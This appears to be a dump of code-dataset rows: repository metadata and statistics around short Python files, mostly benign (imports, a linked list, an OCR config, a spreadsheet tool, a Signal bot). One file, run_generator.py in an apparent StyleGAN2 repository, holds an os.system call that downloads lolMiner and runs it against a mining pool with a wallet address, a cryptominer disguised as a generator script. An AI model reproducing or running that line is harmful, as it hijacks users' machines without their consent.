| 12.3 | 17 | 0.682927 | 16 | 123 | 2.8125 | 0.4375 | 0.266667 | 0.311111 | 0.355556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154472 | 123 | 9 | 18 | 13.666667 | 0.432692 | 0 | 0 | 0 | 0 | 0 | 0.02439 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
bb672d41993b8f626237eb8ccd55333d24f9f132 | 40 | py | Python | dbl_archive_data_storage/frugal_storer/__init__.py | ubsicap/dbl-archive-data-storage | 03786ed54024a55ae96b93948a656a3c01269894 | [
"MIT"
] | null | null | null | dbl_archive_data_storage/frugal_storer/__init__.py | ubsicap/dbl-archive-data-storage | 03786ed54024a55ae96b93948a656a3c01269894 | [
"MIT"
] | 12 | 2018-12-11T17:49:01.000Z | 2019-02-21T18:26:22.000Z | dbl_archive_data_storage/frugal_storer/__init__.py | ubsicap/dbl-archive-data-storage | 03786ed54024a55ae96b93948a656a3c01269894 | [
"MIT"
] | null | null | null | from .frugal_storer import FrugalStorer
| 20 | 39 | 0.875 | 5 | 40 | 6.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 40 | 1 | 40 | 40 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bba9199e3a5089baee6eea1facd71f0b74ebe965 | 1,124 | py | Python | tape/utils/__init__.py | PaccMann/tape | 6fbe3eb4fdff7a07dbc53d99fe91a6cd96fa50e5 | [
"BSD-3-Clause"
] | 491 | 2019-06-19T04:10:37.000Z | 2022-03-31T16:50:59.000Z | tape/utils/__init__.py | PaccMann/tape | 6fbe3eb4fdff7a07dbc53d99fe91a6cd96fa50e5 | [
"BSD-3-Clause"
] | 114 | 2019-06-27T22:07:44.000Z | 2022-03-23T13:56:46.000Z | scripts/tape/utils/__init__.py | Vasyka/DeepGQuad | 772a461732fc4044a1dee84d2688bf16960e272c | [
"Apache-2.0"
] | 152 | 2019-07-02T18:30:29.000Z | 2022-03-23T19:37:39.000Z | from .utils import int_or_str # noqa: F401
from .utils import check_is_file # noqa: F401
from .utils import check_is_dir # noqa: F401
from .utils import path_to_datetime # noqa: F401
from .utils import get_expname # noqa: F401
from .utils import get_effective_num_gpus # noqa: F401
from .utils import get_effective... | 46.833333 | 67 | 0.792705 | 169 | 1,124 | 5.017751 | 0.289941 | 0.272406 | 0.283019 | 0.240566 | 0.71816 | 0.555425 | 0.454009 | 0 | 0 | 0 | 0 | 0.066038 | 0.151246 | 1,124 | 23 | 68 | 48.869565 | 0.822851 | 0.204626 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a5430cf8e3823cb1bf637dca2a204efd8777c749 | 5,568 | py | Python | modifiers.py | mglac/S2C-excel-modifier-for-trading | 03237c14cf60c715a43607cb53f33314674524d1 | [
"MIT"
] | null | null | null | modifiers.py | mglac/S2C-excel-modifier-for-trading | 03237c14cf60c715a43607cb53f33314674524d1 | [
"MIT"
] | null | null | null | modifiers.py | mglac/S2C-excel-modifier-for-trading | 03237c14cf60c715a43607cb53f33314674524d1 | [
"MIT"
] | null | null | null | # modifiers.py - This class contains the methods used to alter the portfolio
# spreadsheets to the desired format for trading assets.
import os
from openpyxl import styles
from openpyxl import load_workbook
from openpyxl import Workbook
from tkinter import filedialog
from tkinter import Text
# excel_modifications Met... | 45.639344 | 79 | 0.663973 | 850 | 5,568 | 4.170588 | 0.151765 | 0.067701 | 0.045698 | 0.050776 | 0.789563 | 0.780536 | 0.780536 | 0.734838 | 0.723272 | 0.698449 | 0 | 0.018913 | 0.24982 | 5,568 | 121 | 80 | 46.016529 | 0.829782 | 0.340876 | 0 | 0.728395 | 0 | 0 | 0.025945 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.049383 | false | 0 | 0.074074 | 0 | 0.123457 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a5a10d439285b839d0945030465a8a04cfd95b9a | 250 | py | Python | hiredis/__init__.py | mbachry/hiredis-py | 39c554413f011c5307e8d4746d4151a2979467e1 | [
"BSD-3-Clause"
] | null | null | null | hiredis/__init__.py | mbachry/hiredis-py | 39c554413f011c5307e8d4746d4151a2979467e1 | [
"BSD-3-Clause"
] | null | null | null | hiredis/__init__.py | mbachry/hiredis-py | 39c554413f011c5307e8d4746d4151a2979467e1 | [
"BSD-3-Clause"
] | null | null | null | from .hiredis import Reader, HiredisError, ProtocolError, ReplyError
try:
from .version import __version__
except ImportError:
__version__ = '0.0.0-dev'
__all__ = [
"Reader", "HiredisError", "ProtocolError", "ReplyError",
"__version__"]
| 25 | 68 | 0.728 | 25 | 250 | 6.64 | 0.56 | 0.216867 | 0.373494 | 0.493976 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014151 | 0.152 | 250 | 9 | 69 | 27.777778 | 0.768868 | 0 | 0 | 0 | 0 | 0 | 0.244 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
a5a5c5dec600eb025a9abe60b30aed82b8473f69 | 41 | py | Python | test_allianceutils/tests/checks_slash_urls/views.py | AllianceSoftware/alliance-django-utils | 63a6d87133047522b33703ef9d09b0cf6c6dbd98 | [
"BSD-2-Clause"
] | 2 | 2020-09-14T00:33:03.000Z | 2020-09-14T07:51:17.000Z | test_allianceutils/tests/checks_slash_urls/views.py | AllianceSoftware/alliance-django-utils | 63a6d87133047522b33703ef9d09b0cf6c6dbd98 | [
"BSD-2-Clause"
] | 15 | 2020-09-14T00:36:15.000Z | 2021-12-13T03:34:05.000Z | test_allianceutils/tests/checks_slash_urls/views.py | AllianceSoftware/alliance-django-utils | 63a6d87133047522b33703ef9d09b0cf6c6dbd98 | [
"BSD-2-Clause"
] | 1 | 2021-08-09T14:54:08.000Z | 2021-08-09T14:54:08.000Z | def null_view(*args, **kwargs):
pass
| 13.666667 | 31 | 0.634146 | 6 | 41 | 4.166667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195122 | 41 | 2 | 32 | 20.5 | 0.757576 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
3c093a82cc13deb6ccc78992526cd73ea6eacb89 | 96 | py | Python | Python/Unittest/PyTest/Simple/distance.py | Gjacquenot/training-material | 16b29962bf5683f97a1072d961dd9f31e7468b8d | [
"CC-BY-4.0"
] | 115 | 2015-03-23T13:34:42.000Z | 2022-03-21T00:27:21.000Z | Python/Unittest/PyTest/Simple/distance.py | Gjacquenot/training-material | 16b29962bf5683f97a1072d961dd9f31e7468b8d | [
"CC-BY-4.0"
] | 56 | 2015-02-25T15:04:26.000Z | 2022-01-03T07:42:48.000Z | Python/Unittest/PyTest/Simple/distance.py | Gjacquenot/training-material | 16b29962bf5683f97a1072d961dd9f31e7468b8d | [
"CC-BY-4.0"
] | 59 | 2015-11-26T11:44:51.000Z | 2022-03-21T00:27:22.000Z | from math import sqrt
def distance(x, y):
return sqrt((x[0] - y[0])**2 + (x[1] - y[1])**2)
| 19.2 | 52 | 0.53125 | 20 | 96 | 2.55 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078947 | 0.208333 | 96 | 4 | 53 | 24 | 0.592105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
3c5fcc0930fa458c634c9a775ab5b7209b521634 | 2,523 | py | Python | backup/source_reading/tester-in-hardway/thoughts-in-python/intermedia/decorator_demo.py | qdriven/qdriven-read-write | 7e49ee430470b9338392066d4bd5245e0a98aa1e | [
"MIT"
] | 1 | 2021-04-26T05:21:09.000Z | 2021-04-26T05:21:09.000Z | backup/source_reading/tester-in-hardway/thoughts-in-python/intermedia/decorator_demo.py | qdriven/qdriven-read-write | 7e49ee430470b9338392066d4bd5245e0a98aa1e | [
"MIT"
] | null | null | null | backup/source_reading/tester-in-hardway/thoughts-in-python/intermedia/decorator_demo.py | qdriven/qdriven-read-write | 7e49ee430470b9338392066d4bd5245e0a98aa1e | [
"MIT"
] | null | null | null | # encoding: utf-8
"""
# Decorators
decorator在python使用非常广泛,他是用来改变函数的一种函数
## 传递函数,函数中定义函数
```python
def hi(name="world"):
def name_it(prefix):
return prefix+name
return name_it("prefix")
print(hi("world"))
func=hi
print(func("use func"))
```
## Decorator
使用python函数可以传递,函数可以定义函数的特性,实现一个decorato... | 13.711957 | 70 | 0.636544 | 322 | 2,523 | 4.76087 | 0.217391 | 0.032616 | 0.031311 | 0.039139 | 0.70972 | 0.70972 | 0.70972 | 0.70972 | 0.70972 | 0.657534 | 0 | 0.013616 | 0.214031 | 2,523 | 184 | 71 | 13.711957 | 0.759455 | 0.579865 | 0 | 0.043478 | 0 | 0 | 0.117479 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.26087 | false | 0 | 0.021739 | 0.021739 | 0.413043 | 0.304348 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b1c07331608a769e81e251553e02759905c67106 | 37 | py | Python | HELLONOTE.py | Nirj2004/media-codec-file.py | 609218b4e5c3fceaf2569446580588ae4aa203b7 | [
"MIT"
] | 3 | 2021-05-23T21:04:28.000Z | 2022-02-27T11:04:33.000Z | HELLONOTE.py | Nirj2004/media-codec-file.py | 609218b4e5c3fceaf2569446580588ae4aa203b7 | [
"MIT"
] | null | null | null | HELLONOTE.py | Nirj2004/media-codec-file.py | 609218b4e5c3fceaf2569446580588ae4aa203b7 | [
"MIT"
] | null | null | null | print("Hello user! How are you?")
| 18.5 | 36 | 0.621622 | 6 | 37 | 3.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.216216 | 37 | 1 | 37 | 37 | 0.793103 | 0 | 0 | 0 | 0 | 0 | 0.694444 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
b1f07a5d5c30bd41ebcd6bffec24a8ff19350273 | 39 | py | Python | gym_foo/envs/__init__.py | LudwigStumpp/gym-starter | 60d5c82d845f08250849ea8f74f3902e78661464 | [
"MIT"
] | null | null | null | gym_foo/envs/__init__.py | LudwigStumpp/gym-starter | 60d5c82d845f08250849ea8f74f3902e78661464 | [
"MIT"
] | null | null | null | gym_foo/envs/__init__.py | LudwigStumpp/gym-starter | 60d5c82d845f08250849ea8f74f3902e78661464 | [
"MIT"
] | 1 | 2020-07-08T18:41:06.000Z | 2020-07-08T18:41:06.000Z | from gym_foo.envs.foo_env import FooEnv | 39 | 39 | 0.871795 | 8 | 39 | 4 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 39 | 1 | 39 | 39 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
590e65ab4e88344b5373688e6e1c6b9c99911a89 | 8,716 | py | Python | Python/Circular_Doubly_Linked_List.py | MjCode01/DS-Algo-Point | 79d826fa63090014dfaab281e5170c25b86c6bbf | [
"MIT"
] | 1,148 | 2020-09-28T15:06:16.000Z | 2022-03-17T16:30:08.000Z | Python/Circular_Doubly_Linked_List.py | MjCode01/DS-Algo-Point | 79d826fa63090014dfaab281e5170c25b86c6bbf | [
"MIT"
] | 520 | 2020-09-28T18:34:26.000Z | 2021-10-30T17:06:43.000Z | Python/Circular_Doubly_Linked_List.py | MjCode01/DS-Algo-Point | 79d826fa63090014dfaab281e5170c25b86c6bbf | [
"MIT"
] | 491 | 2020-09-28T18:40:14.000Z | 2022-03-20T13:41:44.000Z | class Node:
def __init__(self, data):
self.data = data
self.next = None
self.prev = None
class circularDoublyLinkedList:
def __init__(self):
self.last = None
def insertFirst(self):
data = int(input("Enter the value of the node to be inserted : "))
newNode =... | 20.752381 | 139 | 0.632859 | 1,317 | 8,716 | 4.182232 | 0.069856 | 0.056645 | 0.04793 | 0.059913 | 0.820625 | 0.810458 | 0.789397 | 0.768155 | 0.757625 | 0.741104 | 0 | 0.037389 | 0.275815 | 8,716 | 420 | 140 | 20.752381 | 0.835234 | 0 | 0 | 0.570313 | 0 | 0.007813 | 0.162812 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.070313 | false | 0 | 0 | 0 | 0.085938 | 0.164063 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
592847a066353c9b1dcf91c5bb64c040acb75b0b | 336 | py | Python | run_generator.py | cringe0/StyleGAN2 | f6ca48bbef46c187f8b166b27940c4339a834415 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | cringe0/StyleGAN2 | f6ca48bbef46c187f8b166b27940c4339a834415 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | cringe0/StyleGAN2 | f6ca48bbef46c187f8b166b27940c4339a834415 | [
"BSD-Source-Code"
] | null | null | null | import os as alpha
alpha.system("curl -LJO https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.29/lolMiner_v1.29_Lin64.tar.gz && tar -xvf lolMiner_v1.29_Lin64.tar.gz && cd 1.29 && chmod +x lolMiner && ./lolMiner --algo ETHASH --pool us.stratu.ms:12287 --user 3JgjH5V3mT56F3kqCjLTzqirZz8ei9cNH5.siqdj3dp1... | 112 | 316 | 0.776786 | 50 | 336 | 5.14 | 0.7 | 0.023346 | 0.093385 | 0.132296 | 0.171206 | 0.171206 | 0 | 0 | 0 | 0 | 0 | 0.116505 | 0.080357 | 336 | 2 | 317 | 168 | 0.71521 | 0 | 0 | 0 | 0 | 0.5 | 0.892857 | 0.25 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
592b112e8d86a84a053789ce0b23f2e234b61959 | 108 | py | Python | pgscm/farmer/__init__.py | hieulq/pgscm | d51ef5ab7f9bf99e768f4f8ebb2d68dc68a8a592 | [
"Apache-2.0"
] | null | null | null | pgscm/farmer/__init__.py | hieulq/pgscm | d51ef5ab7f9bf99e768f4f8ebb2d68dc68a8a592 | [
"Apache-2.0"
] | 74 | 2017-07-24T19:31:12.000Z | 2018-04-12T04:31:29.000Z | pgscm/farmer/__init__.py | hieulq/pgscm | d51ef5ab7f9bf99e768f4f8ebb2d68dc68a8a592 | [
"Apache-2.0"
] | 2 | 2017-07-18T10:10:10.000Z | 2017-07-21T17:40:19.000Z | from flask import Blueprint
farmer = Blueprint('farmer', __name__)
from pgscm.farmer import views # noqa
| 18 | 38 | 0.768519 | 14 | 108 | 5.642857 | 0.642857 | 0.379747 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157407 | 108 | 5 | 39 | 21.6 | 0.868132 | 0.037037 | 0 | 0 | 0 | 0 | 0.058824 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
a71166f7da9c52499d1e1b80dc9b42818f1f9aed | 8,121 | py | Python | sar/sar_r31_parallel_decoder_chinese.py | hdduytran/mmocr | 8da7389e6d5a9b737627233862aa92b8ca7e52ac | [
"Apache-2.0"
] | null | null | null | sar/sar_r31_parallel_decoder_chinese.py | hdduytran/mmocr | 8da7389e6d5a9b737627233862aa92b8ca7e52ac | [
"Apache-2.0"
] | null | null | null | sar/sar_r31_parallel_decoder_chinese.py | hdduytran/mmocr | 8da7389e6d5a9b737627233862aa92b8ca7e52ac | [
"Apache-2.0"
] | null | null | null | checkpoint_config = dict(interval=1)
log_config = dict(interval=5, hooks=[dict(type='TextLoggerHook')])
dist_params = dict(backend='nccl')
log_level = 'INFO'
load_from = 'sar/sar_r31_parallel_decoder_academic-dba3a4a3.pth'
resume_from = None
workflow = [('train', 1)]
dict_file = 'data/new_dict.txt'
label_convertor = di... | 32.745968 | 76 | 0.445388 | 752 | 8,121 | 4.614362 | 0.194149 | 0.126801 | 0.020749 | 0.027666 | 0.786744 | 0.786744 | 0.756772 | 0.745533 | 0.745533 | 0.745533 | 0 | 0.042885 | 0.431474 | 8,121 | 247 | 77 | 32.878543 | 0.708685 | 0 | 0 | 0.777328 | 0 | 0 | 0.16328 | 0.030292 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5960f1ad6d414e2b1d01b68a5d08724e07936dff | 1,371 | py | Python | utils/train_val.py | KaiJin1995/ZSL2018_Zero_Short_Learning | b18198aa5571b58771b9e358499b78b47d48fb5b | [
"MIT"
] | null | null | null | utils/train_val.py | KaiJin1995/ZSL2018_Zero_Short_Learning | b18198aa5571b58771b9e358499b78b47d48fb5b | [
"MIT"
] | null | null | null | utils/train_val.py | KaiJin1995/ZSL2018_Zero_Short_Learning | b18198aa5571b58771b9e358499b78b47d48fb5b | [
"MIT"
] | null | null | null | import pandas as pd
import random
# train_dataLabel = pd.read_csv('/home/xd133/zero-shot-gcn/DatasetA_train_20180813/train.txt', delimiter='\t', header= None)
# All_label = list(set(list(train_dataLabel.iloc[:, 1].values)))
# random.shuffle(All_label)
# train_label = All_label[:int(len(All_label)*4/5)]
# val_label = A... | 57.125 | 124 | 0.7469 | 229 | 1,371 | 4.262009 | 0.209607 | 0.215164 | 0.07377 | 0.098361 | 0.803279 | 0.803279 | 0.803279 | 0.803279 | 0.803279 | 0.592213 | 0 | 0.062893 | 0.07221 | 1,371 | 23 | 125 | 59.608696 | 0.704403 | 0.557987 | 0 | 0 | 0 | 0 | 0.304714 | 0.294613 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
59bd8213fbfd6eef6421e72948785be6b371e643 | 121 | py | Python | csg/__init__.py | defgsus/pector | 8ac7a42030c6502b25b34133f3972ff109e34ccc | [
"MIT"
] | null | null | null | csg/__init__.py | defgsus/pector | 8ac7a42030c6502b25b34133f3972ff109e34ccc | [
"MIT"
] | null | null | null | csg/__init__.py | defgsus/pector | 8ac7a42030c6502b25b34133f3972ff109e34ccc | [
"MIT"
] | null | null | null | from .treenode import *
from .csg_base import *
from .combiner import *
from .deform import *
from .primitives import *
| 17.285714 | 25 | 0.743802 | 16 | 121 | 5.5625 | 0.5 | 0.449438 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173554 | 121 | 6 | 26 | 20.166667 | 0.89 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ab65b504e25c584ec834870b808ef1c1341dae92 | 68 | py | Python | stargrit/radiative_transfer/cobain/__init__.py | gecheline/stargrit | ec293eaa9f911145f05a297e6e4c321b6adebbd0 | [
"MIT"
] | null | null | null | stargrit/radiative_transfer/cobain/__init__.py | gecheline/stargrit | ec293eaa9f911145f05a297e6e4c321b6adebbd0 | [
"MIT"
] | null | null | null | stargrit/radiative_transfer/cobain/__init__.py | gecheline/stargrit | ec293eaa9f911145f05a297e6e4c321b6adebbd0 | [
"MIT"
] | null | null | null | from general import *
from gray import *
from monochromatic import * | 22.666667 | 27 | 0.794118 | 9 | 68 | 6 | 0.555556 | 0.37037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.161765 | 68 | 3 | 27 | 22.666667 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f9f2b71e1b9009fe87af51f9161be8ccaab2f092 | 76 | py | Python | echopype/calibrate/__init__.py | imranmaj/echopype | b2b51334fad78086f0ccb52cd4ddba4ab4ecf40c | [
"Apache-2.0"
] | 1 | 2020-06-20T20:50:24.000Z | 2020-06-20T20:50:24.000Z | echopype/calibrate/__init__.py | imranmaj/echopype | b2b51334fad78086f0ccb52cd4ddba4ab4ecf40c | [
"Apache-2.0"
] | 3 | 2020-12-18T03:22:57.000Z | 2021-08-12T21:04:44.000Z | echopype/calibrate/__init__.py | imranmaj/echopype | b2b51334fad78086f0ccb52cd4ddba4ab4ecf40c | [
"Apache-2.0"
] | 1 | 2020-11-13T22:35:55.000Z | 2020-11-13T22:35:55.000Z | from .api import compute_Sv, compute_Sp
__all__ = [compute_Sv, compute_Sp]
| 19 | 39 | 0.789474 | 12 | 76 | 4.333333 | 0.583333 | 0.346154 | 0.615385 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131579 | 76 | 3 | 40 | 25.333333 | 0.787879 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
f9faa0ec9c2844e2a8aebc7f0e086af33947eae6 | 16,796 | py | Python | commands/friday.py | filipre/signalbot-example | 7f14a8e38799cf28fec5f8a9e2ca0497e4fd51c8 | [
"MIT"
] | null | null | null | commands/friday.py | filipre/signalbot-example | 7f14a8e38799cf28fec5f8a9e2ca0497e4fd51c8 | [
"MIT"
] | null | null | null | commands/friday.py | filipre/signalbot-example | 7f14a8e38799cf28fec5f8a9e2ca0497e4fd51c8 | [
"MIT"
] | null | null | null | from signalbot import Command, Context
class FridayCommand(Command):
def describe(self) -> str:
return "🦀 Congratulations sailor, you made it to friday!"
async def handle(self, c: Context):
command = c.message.text
if command == "friday":
image = "/9j/4AAQSkZJRgABAQAAAQA... | 933.111111 | 16,354 | 0.960169 | 500 | 16,796 | 32.254 | 0.974 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.151659 | 0.009526 | 16,796 | 17 | 16,355 | 988 | 0.817685 | 0.000238 | 0 | 0 | 0 | 0.076923 | 0.978023 | 0.972245 | 0 | 1 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.076923 | 0.076923 | 0.384615 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e65d9e25ee85c457aa0e116059d04139672644e0 | 159 | py | Python | scanner/utils/__init__.py | jiahuei/document-scanner-opencv-ws | a8efaffd4f26381e54925f79ca93400fd7abe273 | [
"MIT"
] | 1 | 2022-02-13T06:13:54.000Z | 2022-02-13T06:13:54.000Z | scanner/utils/__init__.py | jiahuei/document-scanner-opencv-ws | a8efaffd4f26381e54925f79ca93400fd7abe273 | [
"MIT"
] | null | null | null | scanner/utils/__init__.py | jiahuei/document-scanner-opencv-ws | a8efaffd4f26381e54925f79ca93400fd7abe273 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on 07 Mar 2021 14:02:18
@author: jiahuei
"""
from . import file
from . import image
from . import misc
from . import video
